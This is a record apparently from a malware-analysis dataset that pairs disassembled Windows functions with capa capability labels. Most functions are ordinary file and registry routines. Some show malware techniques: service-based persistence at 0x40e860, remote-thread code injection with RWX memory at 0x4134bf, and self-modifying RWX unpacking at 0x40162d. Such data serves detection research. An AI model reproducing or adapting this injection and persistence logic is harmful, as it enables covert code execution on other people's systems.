joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e860
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1010
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x1010]
push 0x4016b8
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 8]
push eax
push 1
push 0
mov edi, 0x401684
push edi
mov esi, connect
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e8b2
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40e970
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push 0x20006
push eax
push eax
push eax
push edi
push esi
mov byte [0x41703c], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x40e8e6
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40e9a6
lea eax, [ebp - 0x1010]
push eax
lea eax, [ebp - 0x810]
push 0x401674
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x810]
push eax
xor esi, esi
inc esi
push esi
push 0
push 0x401660
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x40e941
push dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push dword [ebp - 8]
call esi
jmp 0x40e9a6
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push 0
push 0x401658
push dword [ebp - 4]
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 4]
jne 0x40e938
call esi
push dword [ebp - 8]
call esi
call fcn.00411535
push 0x4015d0
mov esi, 0x417034
push esi
call dword [eax + 0x10]
call fcn.00411535
push esi
call dword [eax + 0x18]
test eax, eax
je 0x40e9aa
call fcn.00411535
push esi
call dword [eax + 0x1c]
call fcn.00411535
push esi
call dword [eax + 0x18]
test eax, eax
je 0x40e9aa
xor eax, eax
jmp 0x40e9ad
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40e9b2
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.00411535
push 0x417034
call dword [eax + 0x1c]
cmp byte [0x41703c], 0
je 0x40ea02
lea eax, [ebp - 4]
push eax
push 0x10009
push 0
push 0x4016f8
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40ea02
push 0x4016e8
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
leave
ret
Function at 0x4114b7
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push esi
push 0x40e0f0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x411530
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40e0d4
push ebx
call edi
push 0x40e0b8
push ebx
mov dword [esi], eax
call edi
push 0x40e0a8
push ebx
mov dword [esi + 4], eax
call edi
push 0x40e098
push ebx
mov dword [esi + 8], eax
call edi
push 0x40e080
push ebx
mov dword [esi + 0xc], eax
call edi
push 0x40e06c
push ebx
mov dword [esi + 0x10], eax
call edi
push 0x40e05c
push ebx
mov dword [esi + 0x14], eax
call edi
push 0x40e04c
push ebx
mov dword [esi + 0x18], eax
call edi
mov dword [esi + 0x1c], eax
xor eax, eax
inc eax
pop edi
jmp 0x411532
xor eax, eax
pop esi
pop ebx
ret

Function at 0x41177e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push ebx
push connect
push 0x419e68
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x411806
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
push ebx
lea ecx, [ebp - 8]
push ecx
push 0x2c
lea ecx, [ebp - 0x38]
push ecx
push eax
call esi
xor edi, edi
push ebx
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call esi
movzx eax, word [ebp - 0xc]
push eax
push edi
push 0x101e
push dword [0x41ae78]
call dword [sym.imp.USER32.dll_SendMessageA]
inc edi
cmp edi, 5
jl 0x4117c1
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x38]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetWindowPlacement]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x411809
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
push 0x2c
pop esi
lea eax, [ebp - 0x38]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x38], esi
call dword [sym.imp.USER32.dll_GetWindowPlacement]
test eax, eax
je 0x411899
push edi
xor edi, edi
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push 0x419e68
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x411898
push ebx
push edi
lea ecx, [ebp - 8]
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [ebp - 0x38]
push ecx
push eax
call esi
xor ebx, ebx
push edi
push ebx
push 0x101d
push dword [0x41ae78]
call dword [sym.imp.USER32.dll_SendMessageA]
push edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call esi
inc ebx
cmp ebx, 5
jl 0x411862
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_EndDialog]
pop esi
leave
ret
Function at 0x411b52
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push edi
xor edi, edi
dec ebx
test ebx, ebx
jle 0x411ba7
push esi
mov esi, dword [ebp + 8]
push 0
lea eax, [ebp + 0xc]
push eax
push 2
push esi
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp + 0xc], 2
jb 0x411b98
mov ax, word [esi]
test ax, ax
je 0x411b98
cmp ax, 0xa
je 0x411b98
cmp ax, 0xd
je 0x411b94
inc edi
inc esi
inc esi
cmp edi, ebx
jl 0x411b65
test edi, edi
pop esi
jle 0x411ba7
mov eax, dword [ebp + 8]
and word [eax + edi*2], 0
jmp 0x411ba9
xor eax, eax
pop edi
pop ebx
pop ebp
ret

Function at 0x411d33
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
shr eax, 0xa
not eax
and eax, 1
ret

Function at 0x411dcd
Capabilities:
Check if file exists
Delete directory
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x411df4
and al, 0xfe
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
and dword [ebp - 0x20], 0
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x1c]
rep stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x820]
push 0x40e148
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x820]
push eax
call fcn.00411db9
add esp, 0x10
test bl, 0x10
lea eax, [ebp - 0x820]
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0x40e144
mov word [ebp - 0x10], 0x450
je 0x411e65
cmp byte [ebp + 0xc], 0
je 0x411e5c
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
je 0x411e84
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x411e80
cmp byte [ebp + 0xc], 0
je 0x411e79
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
je 0x411e84
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x411e88
mov al, 1
jmp 0x411e8a
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x411f7d
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1820
and dword [ebp - 0x20], 0
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
push 6
pop ecx
push dword [ebp + 8]
xor eax, eax
lea edi, [ebp - 0x1c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, 0x40e148
lea eax, [ebp - 0x820]
push edi
push eax
call esi
lea eax, [ebp - 0x820]
push eax
call fcn.00411db9
push dword [ebp + 0xc]
lea eax, [ebp - 0x1020]
push edi
push eax
call esi
lea eax, [ebp - 0x1020]
push eax
call fcn.00411db9
push dword [ebp + 0x10]
lea eax, [ebp - 0x1820]
push dword [ebp + 0xc]
push 0x40e138
push eax
call esi
lea eax, [ebp - 0x1820]
push eax
call fcn.00411db9
lea eax, [ebp - 0x820]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1020]
mov dword [ebp - 0x14], eax
add esp, 0x34
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x10], 0x450
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
pop edi
pop esi
je 0x41203f
lea eax, [ebp - 0x1820]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x41203f
xor al, al
leave
ret
mov al, 1
leave
ret

Function at 0x4121d4
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1824
and dword [ebp - 0x24], 0
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
push 6
pop ecx
push dword [ebp + 8]
xor eax, eax
lea edi, [ebp - 0x20]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, 0x40e148
lea eax, [ebp - 0x824]
push edi
push eax
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x1024]
push edi
push eax
call esi
lea eax, [ebp - 0x824]
push eax
call fcn.00411db9
lea eax, [ebp - 0x1024]
push eax
call fcn.00411db9
mov edi, dword [sym.imp.SHELL32.dll_SHFileOperationW]
lea eax, [ebp - 0x824]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1024]
mov dword [ebp - 0x18], eax
add esp, 0x20
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x20], 4
mov word [ebp - 0x14], 0x450
mov byte [ebp - 1], 1
call edi
test eax, eax
je 0x412335
push dword [ebp + 8]
lea eax, [ebp - 0x824]
push 0x40e128
push eax
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x1024]
push 0x40e150
push eax
call esi
lea eax, [ebp - 0x824]
push eax
call fcn.00411db9
lea eax, [ebp - 0x1024]
push eax
call fcn.00411db9
add esp, 0x20
lea eax, [ebp - 0x24]
push eax
call edi
test eax, eax
je 0x412335
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ebx
lea eax, [ebp - 0x824]
push eax
lea eax, [ebp - 0x1824]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0x400
lea eax, [ebp - 0x824]
push eax
lea eax, [ebp - 0x1824]
push eax
call ebx
lea eax, [ebp - 0x1024]
push eax
lea eax, [ebp - 0x1824]
push eax
call esi
push 0x400
lea eax, [ebp - 0x1024]
push eax
lea eax, [ebp - 0x1824]
push eax
call ebx
and byte [ebp - 0x13], 0xfb
lea eax, [ebp - 0x824]
push eax
call fcn.00411db9
lea eax, [ebp - 0x1024]
push eax
call fcn.00411db9
pop ecx
pop ecx
lea eax, [ebp - 0x24]
push eax
call edi
test eax, eax
pop ebx
je 0x412335
mov byte [ebp - 1], 0
mov al, byte [ebp - 1]
pop edi
pop esi
leave
ret
Function at 0x4129dc
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa5c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, 0x800
push ebx
push 0x40
mov byte [ebp - 1], 0
call edi
push dword [ebp + 8]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
mov esi, dword [ebp + 0xc]
mov ecx, esi
call fcn.00412705
and dword [ebp + 0xc], 0
cmp dword [esi + 0xc], 0
jbe 0x412b1c
mov eax, dword [esi + 4]
mov ecx, dword [ebp + 0xc]
push dword [eax + ecx*4]
lea eax, [ebp - 0xa5c]
push 0x40e180
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [esi + 4]
mov ecx, dword [ebp + 0xc]
push dword [eax + ecx*4]
call fcn.00411d33
add esp, 0x10
test al, al
je 0x412b0d
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0xa5c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x412b0d
push 0x40e17c
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x412aec
push 0x40e174
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x412aec
push ebx
push 0x40
call edi
mov edx, dword [ebp + 0xc]
lea ecx, [ebp - 0x230]
push ecx
mov ecx, dword [esi + 4]
push dword [ecx + edx*4]
mov dword [ebp - 0xc], eax
push 0x40e138
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
cmp byte [ebp - 1], 0
jne 0x412ae2
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x100
jle 0x412ae2
mov byte [ebp - 1], 1
push dword [ebp - 0xc]
mov ecx, esi
call fcn.00412705
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x412a75
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
inc dword [ebp + 0xc]
mov eax, dword [ebp + 0xc]
cmp eax, dword [esi + 0xc]
jb 0x412a21
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x412b24
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x840
push ebx
push esi
lea eax, [ebp - 0x20]
xor ebx, ebx
push eax
push dword [ebp + 8]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x20], ebx
call fcn.004129dc
pop ecx
pop ecx
mov byte [ebp - 2], al
mov dword [ebp - 8], ebx
call fcn.0040e83a
cmp byte [eax + 3], bl
jne 0x412b9f
push ebx
push 0x411cb8
push ebx
push 0x6e
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov esi, dword [ebp - 0x14]
push esi
push ebx
push 0x406
push 0x3f9
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
push 5
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x412ba2
mov esi, dword [ebp - 0x14]
cmp esi, ebx
mov byte [ebp - 1], 1
mov dword [ebp - 0x10], esi
jbe 0x412caa
cmp byte [ebp - 2], bl
mov ecx, dword [ebp - 0x1c]
sete al
and al, byte [ebp + 0xc]
push edi
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
mov byte [ebp - 0x24], al
lea esi, [ecx + esi*4 - 4]
jmp 0x412bd0
mov eax, dword [ebp - 0x24]
push eax
push dword [esi]
call fcn.00411f45
cmp byte [ebp - 2], bl
pop ecx
pop ecx
mov byte [ebp - 9], al
je 0x412c35
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x412c35
push dword [0x41c720]
lea eax, [ebp - 0x840]
push 0x40e18c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
inc dword [0x41c720]
push ebx
lea eax, [ebp - 0x840]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
push 0x40e0fc
lea eax, [ebp - 0x840]
push eax
push dword [esi]
call fcn.00412121
add esp, 0xc
mov al, byte [ebp - 9]
push dword [esi]
and byte [ebp - 1], al
call fcn.00411c13
cmp dword [ebp - 8], ebx
pop ecx
je 0x412c9a
test dword [ebp - 0x10], 7
jne 0x412c9a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x10]
push ebx
push eax
push 0x402
push 0x3f9
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
jmp 0x412c89
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 1
push ebx
push ebx
push dword [ebp - 8]
lea eax, [ebp - 0x40]
push eax
call edi
test eax, eax
jne 0x412c75
dec dword [ebp - 0x10]
sub esi, 4
cmp dword [ebp - 0x10], ebx
ja 0x412bcd
pop edi
cmp dword [ebp - 8], ebx
pop esi
pop ebx
je 0x412cba
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_DestroyWindow]
lea ecx, [ebp - 0x20]
call fcn.004126eb
mov al, byte [ebp - 1]
leave
ret
Function at 0x412cc7
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
cmp dword [ebp + 8], 0
je 0x412dd3
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push edi
push dword [0x41c70c]
lea eax, [ebp - 0x404]
push 0x40e204
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0xc
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x404]
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [ebp - 0x404]
push eax
push dword [ebp + 8]
call ebx
mov eax, dword [ebp + 0xc]
add eax, 0x80a
push eax
lea eax, [ebp - 0x404]
push 0x40e1f0
push eax
call esi
add esp, 0xc
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x404]
push eax
call edi
push eax
lea eax, [ebp - 0x404]
push eax
push dword [ebp + 8]
call ebx
mov eax, dword [ebp + 0xc]
lea ecx, [eax + 4]
push ecx
movzx ecx, word [eax + 0x808]
push ecx
push dword [eax + 0x804]
lea eax, [ebp - 0x404]
push 0x40e1c4
push eax
call esi
add esp, 0x14
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x404]
push eax
call edi
push eax
lea eax, [ebp - 0x404]
push eax
push dword [ebp + 8]
call ebx
mov eax, dword [ebp + 0xc]
add eax, 0x100a
push eax
lea eax, [ebp - 0x404]
push 0x40e1b0
push eax
call esi
add esp, 0xc
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x404]
push eax
call edi
push eax
lea eax, [ebp - 0x404]
push eax
push dword [ebp + 8]
call ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4134bf
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
push 0x40e2e0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
mov dword [ebp - 4], eax
je 0x41369e
push dword [ebp + 0xc]
push 0
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [ebp - 8], eax
je 0x41369e
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push edi
push 0x40
mov eax, 0x4124cc
mov edi, 0x4123fa
sub eax, edi
mov ebx, 0x1000
push ebx
push eax
push 0
push dword [ebp - 8]
mov dword [ebp - 0xc], eax
call esi
test eax, eax
mov dword [ebp - 0x10], eax
je 0x413692
and dword [ebp - 0x14], 0
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp - 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push eax
push dword [ebp - 8]
call edi
push 0x40
push ebx
mov ebx, 0x830
push ebx
push 0
push dword [ebp - 8]
call esi
test eax, eax
mov dword [ebp - 0xc], eax
je 0x41367f
push dword [ebp + 8]
lea eax, [ebp - 0x814]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40e2d4
push dword [ebp - 4]
mov dword [ebp - 0x818], eax
call esi
push 0x40e2c4
push dword [ebp - 4]
mov dword [ebp - 0x844], eax
call esi
push 0x40e2b8
push dword [ebp - 4]
mov dword [ebp - 0x840], eax
call esi
push 0x40e2ac
push dword [ebp - 4]
mov dword [ebp - 0x83c], eax
call esi
push 0x40e2a0
push dword [ebp - 4]
mov dword [ebp - 0x838], eax
call esi
push 0x40e294
push dword [ebp - 4]
mov dword [ebp - 0x834], eax
call esi
push 0x40e288
push dword [ebp - 4]
mov dword [ebp - 0x830], eax
call esi
push 0x40e27c
push dword [ebp - 4]
mov dword [ebp - 0x82c], eax
call esi
push 0x40e274
push dword [ebp - 4]
mov dword [ebp - 0x828], eax
call esi
push 0x40e260
push dword [ebp - 4]
mov dword [ebp - 0x824], eax
call esi
push 0x40e250
push dword [ebp - 4]
mov dword [ebp - 0x820], eax
call esi
mov dword [ebp - 0x81c], eax
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0x844]
push eax
push dword [ebp - 0xc]
push dword [ebp - 8]
call edi
xor esi, esi
push esi
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push esi
push esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
cmp edi, esi
je 0x413666
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push esi
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push dword [ebp - 0x10]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x415e16
Capabilities:
Create thread

Disassembly:
push dword [esp + 4]
push 0x41c730
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
push eax
push eax
push eax
push 0x415c41
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x41c830], eax
ret

Function at 0x40153f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp - 0x134]
sub esp, 0x154
mov dword [ebp - 0x134], 0
mov dword [esp], eax
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x118], 6
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x120], 0
call dword [sym.imp.USER32.dll_RegisterClassA]
push ecx
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
lea ebx, [ebp - 0x10c]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
push eax
push eax
mov dword [esp + 4], ebx
mov dword [esp], 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push eax
push eax
mov dword [esp], ebx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [ebp - 4]
leave
sub eax, 3
ret

Function at 0x40162d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x88], 0
call fcn.0040153f
test eax, eax
jne 0x4016c7
lea eax, [ebp - 0x8c]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, 0x40215e
sub eax, 0x4016fc
mov dword [esp], 0x4016fc
mov dword [esp + 4], eax
mov dword [ebp - 0x8c], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x4016c7
lea ebx, [ebp - 0x88]
mov dword [esp], 0
call fcn.00401442
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.004014c9
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1b600
mov dword [esp], 0x40300c
call fcn.00401e61
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret